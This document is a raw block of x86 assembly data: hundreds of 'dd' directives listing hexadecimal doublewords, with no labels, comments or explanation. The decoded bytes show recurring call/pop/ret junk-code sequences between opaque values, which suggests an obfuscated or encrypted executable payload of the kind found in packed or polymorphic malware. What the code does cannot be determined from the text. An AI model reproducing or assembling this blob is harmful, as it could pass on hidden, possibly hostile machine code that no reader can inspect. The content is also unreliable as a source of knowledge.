		dd 58C35820h, 4244489h,	4244481h, 16h, 0DBC35040h, 9D8B3E9Eh
		dd 6121D9Dh, 0C80EB58Bh, 6A0615h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8166A3C3h, 8BDBE6EFh
		dd 122AB985h, 76BF6606h, 6A068958h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 151DC356h
		dd 2F21E3F5h, 0B59D314Bh, 0F06122Fh, 482h, 26BF6600h, 0C881603Eh
		dd 68129126h, 1CE7FB8h,	858B6124h, 612308Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 39C35242h, 0C29CD4A8h
		dd 4689CA1Bh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0BC4C05B8h, 0F9B2446Eh, 0BD9D0314h
		dd 60061212h, 5061DA8Bh, 3489F88Bh, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 217213Bh, 0BD3BD05Fh
		dd 9D8D2984h, 0FF061215h, 15C80AB5h, 0B70F6006h, 0AB6861D8h
		dd 0FE2F084h, 86h, 24048100h, 1D2E7F54h, 0D5EDEF81h, 858D75F6h
		dd 615C812h, 11E9h, 9D9D7900h, 161FC099h, 2BC48BF7h, 0C1B091FEh
		dd 8950423Ch, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 6B3C38C3h, 0FF9E51DFh, 12237995h
		dd 87BB6606h, 0BB666163h, 9D2B737Fh, 612010Dh, 1BD985C7h
		dd 30612h, 10E90000h, 4B000000h, 51A2A700h, 763AD26Bh
		dd 0E606E6FFh, 83118CEFh, 15C812BDh, 840F0006h,	0Ch, 21918D89h
		dd 1CE90612h, 0F5000000h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 59C2C352h, 0F9858946h
		dd 8306122Bh, 121BD9BDh, 850F0306h, 417h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 18h, 32C35747h, 0B3D0C713h
		dd 0FE9h, 2FFE8100h, 0ACB2E94Eh, 1401525Eh, 95772712h
		dd 0C812BD83h, 0F000615h, 3D684h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0BD958981h
		dd 0FF061209h, 15C812B5h, 29BD8B06h, 29061218h,	1204B58Dh
		dd 0A995FF06h, 0F906121Ah, 0C806B58Bh, 6A0615h,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0FF140CC3h, 56C999F4h, 6C77950h, 10001h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A1C35141h, 999509FFh
		dd 5006121Fh, 0BA605250h, 2E264C9Ch, 28E8CCBBh,	310F6109h
		dd 11E9h, 50218A00h, 0D2F9981Ah, 0B79314D0h, 1715A7F9h
		dd 585AF5D6h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 9B16C355h, 782AC62Ch
		dd 0B5FF301Ah, 615C812h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Dh, 73C35040h, 0FF45A5D5h, 4CC9FFh, 11E9DEh
		dd 94960000h, 0F64BD5Bh, 0EEF72340h, 82819643h,	0FF7F0C67h
		dd 121C0595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 3428AB30h, 8E9F9h, 0D9DF0000h, 7BE11A6Bh
		dd 0B58B8084h, 615C806h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0E4C35646h, 0DE8B8131h, 9F0E1205h, 0A5858BA5h
		dd 0E8061201h, 6, 0B6452290h, 9D89B2DFh, 6120199h, 0C486895Fh
		dd 51000000h, 23C99D89h, 8B5B0612h, 1209A195h, 0CB816606h
		dd 0E3813156h, 0DB6F8EFh, 6604C283h, 899AB6BFh,	0B7532050h
		dd 858D5FB4h, 615DC6Fh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 8C35141h, 0CA9019AFh,	83FB08C4h, 0B88689h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 93E59BC3h, 8B422676h, 6A006AD9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 8884C355h, 8E0F2CCAh, 6, 2F89BD29h, 9D8B0612h, 6122DD1h
		dd 0FFD88B66h, 15C812B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0FFFE8BA7h
		dd 1206A595h, 8D2B6006h, 6121A41h, 509661FCh, 0A6FA56BBh
		dd 66505B5Dh, 960D29BFh, 0F4CF8166h, 12B5FF6Ah,	6A0615C8h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0FFF0C356h, 12028195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 4CE165B8h
		dd 83001058h, 122A09BDh, 840F0006h, 76h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0D2C35040h, 999D8B44h
		dd 0F061205h, 8Dh, 0DE95000h, 0CC000000h, 3594B863h, 14428D92h
		dd 0E4ED9185h, 6A243489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 995FC352h, 13D5A992h
		dd 0CE89C50h, 0E7000000h, 8BEAA558h, 38E55E09h,	0B7EA86C4h
		dd 0B5FF5FDBh, 615C812h, 0FFF7EF80h, 1218C195h,	94EB8006h
		dd 0C812B5FFh, 95FF0615h, 6121BA1h, 8A0FF860h, 5, 13F18166h
		dd 0BD8361D8h, 6121EB1h, 32840F02h, 81000000h, 0D1C2F4F3h
		dd 0A5858B39h, 6A061203h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 24CEC351h, 0A427B90Eh
		dd 0C6AE40h, 5985C700h,	6121Bh,	66000000h, 0E94E34BFh
		dd 0FFFFF460h, 0C18BD98Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0E9C35242h, 2AFC8F39h, 0BD8B5336h, 6120661h
		dd 1858D5Bh, 8B06122Eh,	1205399Dh, 66509006h, 902743BFh
		dd 0FF18B60h, 38Fh, 0D1BF0F00h,	8B006A61h, 121309BDh, 0A59D8B06h
		dd 6A06121Eh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 8F71D240h, 8D8CBFC4h, 166B3A85h
		dd 99858906h, 8306122Ah, 0BD0105C0h, 6122A75h, 13E850h
		dd 0E8290000h, 0FF98F5Ch, 173B728Fh, 5C15AA6Ch,	32D4162Ah
		dd 5FFC8ABBh, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0E8EFC351h,	0Fh, 0FC4B5718h
		dd 0A562CB46h, 0D457FBACh, 0BF115DCDh, 15F54E0Ah, 6A006A5Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0E162C351h, 384C4173h, 6AD88Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 79C35646h, 8B514B3Ah
		dd 12036DBDh, 0B595FF06h, 6A06120Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 47D3C350h
		dd 66E5E222h, 8DEF15BFh, 15AF028Dh, 0FFDE8A06h,	52006AD1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0AABAC08Eh, 0CDC0D381h, 83F52F08h, 1207ADBDh, 850F0106h
		dd 0ACh, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	96C35747h, 1517FA4Fh, 28B2AD87h, 860F6035h, 10h
		dd 0BE9h, 95725900h, 43B6D1C5h,	2458401Eh, 9D9D8B61h, 6A061218h
		dd 52006A02h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0B4D8C74Bh, 0C1D73059h, 0D3816619h, 66902853h
		dd 50A09CBBh, 3840Fh, 8B660000h, 6A90DFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8589BEC3h
		dd 612035Dh, 6A595FFh, 0CB810612h, 5358BDC4h, 0DE8E9h
		dd 0E800h, 815D0000h, 166B44EDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 501453Fh, 89BEEB80h
		dd 121E6185h, 37858D06h, 0F9061594h, 11E890h, 0EEF90000h
		dd 0A3132E4Dh, 8652D54Eh, 5D9B2DD8h, 0B3B13A9Fh, 0BB505F22h
		dd 29D960E8h, 899D8B90h, 6406120Eh, 35FFh, 14E90000h, 45000000h
		dd 0CAAF6311h, 37E17E59h, 9F138A36h, 7EC68850h,	64808230h
		dd 2589h, 95890000h, 6121061h, 67985FFh, 9D010612h, 6121D59h
		dd 6AFF6Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0CA72AC3h, 482A763Fh, 95CB8188h, 0FF2D357Fh
		dd 121B85B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 4ED34501h, 0EAF50205h, 30A98589h
		dd 8B660612h, 0B595FFD8h, 0E906122Ch, 0F0h, 10D9D8Bh, 0B00612h
		dd 8C58589h, 70E60612h,	0E4F88B66h, 613CF571h, 0D2830Fh
		dd 9D8B0000h, 612231Dh,	0E9C8B60Fh, 13h, 51CA17B9h, 9E5FD0C3h
		dd 0E1C6D59Ah, 0F8FE606Fh, 0BA3784C0h, 6, 10A1BD89h, 6E90612h
		dd 99000000h, 0BC8C8CFCh, 8AC18B2Eh, 4E8C1FDh, 0F7667AB3h
		dd 0DD8D29E2h, 2B061215h, 7CF381C8h, 8B08934Fh,	0F78166D1h
		dd 1E9D76Ah, 0F9000000h, 30A1858Bh, 0AEB30612h,	907C083h
		dd 12152585h, 0C08306h,	1BC9BD89h, 8D890612h, 6122EFDh
		dd 830FD03Bh, 13h, 38C0Fh, 0E7800000h, 3EE953h,	81660000h
		dd 8B19AEEFh, 12051D8Dh, 0DF8B6606h, 0F01E183h,	2784h
		dd 799D8B00h, 83061204h, 12051DA5h, 8952FE06h, 122685B5h
		dd 89F85B06h, 1230A195h, 0B99D0B06h, 0E9061207h, 0
		dd 0F8B8B58Dh, 0B5310615h, 6121C3Dh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 78B3BBC3h
		dd 0D8DE146Dh, 0B2BB6615h, 0CD95FF02h, 6A061219h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 5C76C355h, 752B9h, 0E183F900h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 99D1BB63h
		dd 0BD8B43F3h, 6120155h, 15BD29FCh, 0B806122Eh,	0
		dd 2BDFB70Fh, 53006AD2h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8E0FA64Bh, 6, 0DD1B531h, 33AD0612h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0E8F3A4C3h, 0F44C5D76h
		dd 9D29C714h, 6122F11h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0E1C35646h, 0E889CB83h, 81666ABCh, 0D2D3BCBh
		dd 88h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 95C35343h, 6890Fh, 95890000h, 6121925h, 9A1958Bh, 6A0612h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 4F9659C3h, 13E9h, 83B61100h,	7A775676h, 9C0F70B0h, 0AF5C080Fh
		dd 4D15E54Dh, 5058D8Bh,	6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 9C9F2FC3h, 3CE014BFh
		dd 50BEB273h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 55006A58h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0B67AF512h, 31180226h, 122D9DB5h, 21BD8306h
		dd 61221h, 88840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 9FD14CC3h, 73F0020Eh
		dd 0B8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0A0D26940h, 0B1D03522h, 0BD8B4F06h
		dd 612297Dh, 4DB58D8Dh,	6A0612h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 249282C3h, 0E799D8Bh
		dd 9D0B0612h, 61230C1h,	0B357E1FFh, 0BD835BFCh,	6121BD9h
		dd 17840F00h, 6A000004h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 0A658C351h,	6ED36532h
		dd 0CD9D8951h, 8306120Eh, 121BD9BDh, 840F0106h,	3FDh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 59C35343h, 0D9BD83F9h
		dd 306121Bh, 39D860Fh, 0BD8B0000h, 6120D25h, 55006A60h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C5254FC7h, 2E88BB21h, 8C665583h, 51006AD9h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 27C6862h, 4E18006h
		dd 11E856h, 0A7660000h,	93189638h, 0D37B163Bh, 0E9E8ACA4h
		dd 23304E84h, 121F519Dh, 0A5F5B06h, 36840FC9h, 66000001h
		dd 0BD2BF381h, 308D858Bh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0F1E716C3h, 80E1E874h
		dd 816684CBh, 336DC9CBh, 12316585h, 4895006h, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0CB39ED64h, 39444B1Fh, 0FE9C61Ch, 0A5000000h, 0E2E5C804h
		dd 69855C3Eh, 0B776E22Dh, 6ABF02h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 51C35747h, 0F58D894Eh, 0E906121Ah
		dd 0Ch,	5AE35895h, 9CB096C0h, 86B150DEh, 3EC3EF68h, 81FA8B0Ah
		dd 0C0102434h, 0B5890A21h, 6121E95h, 237995FFh,	6A0612h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F229C8C3h, 440122F4h, 0FA8B200Fh, 0BE8h, 0FD526200h
		dd 41E7E68Eh, 36ED7B78h, 311D9D29h, 895B0612h, 15C81285h
		dd 0DFBF0F06h, 167E9h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0BB9DA4Dh, 8BE33AE1h
		dd 0A858BFAh, 660615C8h, 0C7BE2CBBh, 1800h, 0A9BD8B00h
		dd 8B061206h, 15C80EB5h, 82BB6606h, 0B9858B2Eh,	6A06122Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 50C5C351h, 0B8359A7Eh, 8920F9E6h,	120A0D9Dh
		dd 71B52906h, 89061229h, 81A2B706h, 29AFDEEFh, 8D858B37h
		dd 1061230h, 12065DBDh,	4468906h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 8CC35646h, 68BEE922h, 67EA69C8h
		dd 8973B350h, 9D8B2434h, 61217BDh, 0C80AB5FFh, 6A0615h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 940634C3h, 1FBF320Bh, 665AFE89h, 2F95D781h, 0C047E168h
		dd 2FB3BFCCh, 4816A98h,	5EBC1E24h, 0B8666033h, 8D61DCE3h
		dd 15C81285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0C4A54AE9h, 0DE91Dh, 0C5E80000h
		dd 374CC6F6h, 0A472BBBh, 50677CBBh, 0DE9h, 0E1F16A00h
		dd 0DFC69BA0h, 313C3E42h, 489E3E9h, 0DAB70F24h,	237995FFh
		dd 0C7810612h, 73213E43h, 55006A61h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 8984321Fh
		dd 1223298Dh, 0D985C706h, 306121Bh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 0E94AC357h, 12h, 0A5FB6A5Ah,	0F129392Bh, 1458D0E6h
		dd 0F4E4E2DBh, 9D8B716Ch, 6122FFDh, 0C812BD83h,	0F000615h
		dd 3684h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0A4797562h, 17D9BD8Bh, 0E7810612h
		dd 14E843A8h, 21E9h, 0FDB58900h, 5006122Eh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0DA85EFC3h
		dd 89F61E81h, 0BBFB8B6Dh, 719B4929h, 1BD9BD83h,	0F030612h
		dd 4B685h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 75CBBF19h, 0BE464968h, 7DBD89AFh
		dd 83061229h, 15C812BDh, 840F0006h, 47Fh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 4C35141h, 0E97873C2h
		dd 0Dh,	0D3E49FC7h, 57077DFFh, 5E20280h, 12B5FF6Eh, 660615C8h
		dd 744DE781h, 1AA995FFh, 8A0F0612h, 0Ch, 68C0Fh, 9D890000h
		dd 61208ADh, 0C806B58Bh, 0D88B0615h, 106C7h, 0F98B0001h
		dd 11E85096h, 0A2000000h, 13059908h, 26600740h,	0EA511304h
		dd 0C989CAFFh, 0DA8B6657h, 89965F5Bh, 1209CDB5h, 12B5FF06h
		dd 0FF0615C8h, 121C0595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 2776D22Fh
		dd 660037DBh, 8B8CB8BFh, 15C806B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 63CB4D0Dh
		dd 0AE7ABDE9h, 8BDF8BB1h, 1201A585h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BD8B95CFh
		dd 6123155h, 0C48689h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 77B6ADC3h, 0F4509BDAh
		dd 8118F5C8h, 0BC78C9F3h, 0C59D0961h, 8B061211h
		dd 1209A195h, 0EB816606h, 0BF0FBB66h, 4C283DAh,	0D74BE3BFh
		dd 11E842h, 412C0000h, 6491CA57h, 0AE2369A3h, 4CE839B8h
		dd 0F1F4411h, 895BF9BFh, 6A2050h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 8A47ABC3h, 0F99356CAh
		dd 4DB589CBh, 89061201h, 122FE59Dh, 6F858D06h, 6A0615DCh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 14B2C355h, 385E1235h, 0D4589097h,	0A8FF381h
		dd 86894C73h, 0B8h, 5E9h, 77253100h, 6AD003h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C8C35141h, 8E2FBEC6h
		dd 113DE840h, 0EE9CBh, 8E840000h, 1BB9CA0Fh, 66194D1Bh
		dd 3546DE1Ah, 0C812B5FFh, 7E80615h, 31000000h, 87B83CF7h
		dd 0FF5BEF16h, 1206A595h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A3AA0AF4h
		dd 8ACFFAD7h, 525096F8h, 0FFB8B66h, 66525031h, 310FF98Bh
		dd 585A6160h, 0E950585Ah, 13h, 66BD3D1Ch, 0F9CA4FE6h, 0F132DA3Ch
		dd 0DA8485D9h, 96784AEAh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 0A9C35646h, 830FEAE7h, 6, 2A21B589h
		dd 0B5FF0612h, 615C812h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 0BAC35040h, 0BD8B5CBCh, 6121A31h, 28195FFh
		dd 24BF0612h, 834A20B2h, 122A09BDh, 840F0006h, 37h, 7CA3CF81h
		dd 66505ED2h, 3489D98Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 84EFAE10h, 94197B84h
		dd 0A1BD8BA4h, 0FF06120Ch, 15C812B5h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 0BC7C42E5h, 0AE9F63Eh, 0C1BD898Dh, 0FF061210h, 1218C195h
		dd 0D9D8906h, 0FF061231h, 15C812B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6651938Eh
		dd 7E3BEB81h, 1BA195FFh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 1449D6C3h, 347A839Ah
		dd 8D9D8B60h, 50061205h, 835BFA8Bh, 121EB1BDh, 840F0206h
		dd 7Bh,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
		dd 11C35141h, 0DE8B0BCAh, 69DB589h, 858B0612h, 61203A5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A7C35343h
		dd 4063D40Dh, 0E943CF37h, 7, 0F0035780h, 0C69DE22Ah, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0C73388C3h, 121B5985h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0DD21C14Fh
		dd 0E9F8632Eh, 0FFFFF2D8h, 8BD88B66h, 53006AC1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8B66D38Ch, 1858DD9h,	0F06122Eh, 384h, 0FABF0F00h, 24048950h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0ACC35747h
		dd 6FE55FBDh, 6A5063E4h, 98D78100h, 6A17E4D9h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 5260A7A0h, 0AE9h, 7E54B400h,	790802B6h, 58F8CDB1h, 8E0Fh
		dd 9610000h, 12000D85h,	45853106h, 8D061229h, 167B2185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 5C083CAh, 5AEF8166h, 8E0F50D5h, 5, 1498E4BFh
		dd 2404894Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	0A4C35242h, 5E96F615h, 0BF664394h, 6AB93Bh, 6AD88Ah
		dd 9529FB8Bh, 61203E9h,	0DB595FFh, 83B70612h, 0AF028D8Dh
		dd 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0AFEA61C3h, 70A636EBh, 0C3816665h, 0D1FF55BCh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 53C35040h
		dd 81660EFCh, 8354BBDFh, 1207ADBDh, 850F0106h, 0A3h, 0DE9h
		dd 8AC30300h, 0DADB2C7Eh, 0E0493A07h, 26AEEDBh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CBC35141h, 0C245B67Bh
		dd 18E0FEAh, 0F8000000h, 0E9525050h, 11h, 0C8CE1F28h, 98A9FF9Fh
		dd 623A265Eh, 5F17B47Eh, 5A310F9Fh, 24048958h, 10E8h, 11679D00h
		dd 4ECF8CADh, 84F5BC49h, 0AFEC00CAh, 95FF5B1Dh,	61206A5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DDC35646h
		dd 0BD9CA592h, 4E2349CFh, 559D0B55h, 0E9061220h, 0DF2h
		dd 0E8h, 0ED815D00h, 6167B2Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0D6C35343h,	0D88B6673h, 8DFFB70Fh
		dd 15943785h, 6090F806h, 0CDD6B860h, 0E86134B4h, 0Ah, 0B85F5A70h
		dd 5132FAD0h, 0CE9585Bh, 39000000h, 7180FCEDh, 0C69C38CDh
		dd 5F1BBE1Ah, 8E95061h,	7E000000h, 6F55F49Bh, 90575014h
		dd 5DC012BFh, 35FF646Dh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E9C35646h
		dd 0DA4B75E4h, 2C2DBD8Bh, 89640612h, 25h, 0E1850900h, 0FF061217h
		dd 12067985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 834E294Ch, 0E9A51E0Eh, 6,	11D53796h
		dd 0BD89E293h, 6121019h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5A4D42C3h, 1E336F8Ah
		dd 1AB19D8Bh, 0B5FF0612h, 6121FC9h, 0D1CB8166h,	0B595FF50h
		dd 0E906122Ch, 115h, 0EE9h, 0B7743600h,	43E44F20h, 1DBBF144h
		dd 0B01D2306h, 0ADBD8900h, 0E6061222h, 7D9D8B70h, 306121Fh
		dd 121FB59Dh, 6671E406h, 3C802CBBh, 0DE830F61h,	60000000h
		dd 1CCD9D89h, 8E80612h,	0D5000000h, 2C8FE935h, 17D935Ah
		dd 12095D85h, 0F615E06h, 0BF66C8B6h, 6BA51C1h, 8B000000h
		dd 3C18BDAh, 121C89BDh,	4E8C106h, 8BDF8166h, 3152512Fh
		dd 1221299Dh, 665B5B06h, 8166E2F7h, 2BA1C5E7h, 6880FC8h
		dd 0F000000h, 8Eh, 66D18B00h, 4006EB81h, 6E9h, 0C0F78100h
		dd 8B026EA0h, 122A3585h, 23BF6606h, 7C0830Bh, 0EFD9D8Bh
		dd 0C0830612h, 0FD03B00h, 1083h, 4D9D8900h, 0E9061200h
		dd 49h,	0D38166h, 0B18D8BA0h, 0E806121Ch, 0Dh, 8507CB41h
		dd 60A79EE2h, 0DFF07E86h, 0F99D0B4Ch, 5B061210h, 0F01E183h
		dd 1C84h, 0F1BB6600h, 0B1A583D9h, 0FE06121Ch, 359589F5h
		dd 6606122Ah, 0C91FCF81h, 0E9h,	7CB58D00h, 50061601h, 6A5FBAB3h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0F8FC4383h, 19CD95FFh, 11E90612h, 0EC000000h
		dd 0F52700CBh, 0FBEA757Dh, 71A5F925h, 0C5078B78h, 993B9h
		dd 0DF815700h, 52147172h, 3D9D315Bh, 83061207h,	6AFCE1h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 8DCB97C3h, 5DCE9A61h, 9BD8914h, 0E906120Eh, 0Eh, 5502A500h
		dd 94C60EDh, 156A1499h,	6AFC4D9Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 13DFC355h
		dd 264B5182h, 0B6FEF64Dh, 6AC02Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 4F4DC9C3h, 504BDB2Bh
		dd 0BAC784h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0D7BFC353h,	231420F6h
		dd 0F971D46Bh, 8D01D88Bh, 61211E9h, 0D1C233ADh,	83D003E8h
		dd 0F47504E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	80C35545h, 0E2C20D1Dh, 3CB07645h, 5E8h,	0DF8A100h
		dd 0CB807C6Fh, 0BD8B5F4Fh, 6121321h, 880Fh, 880D0000h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
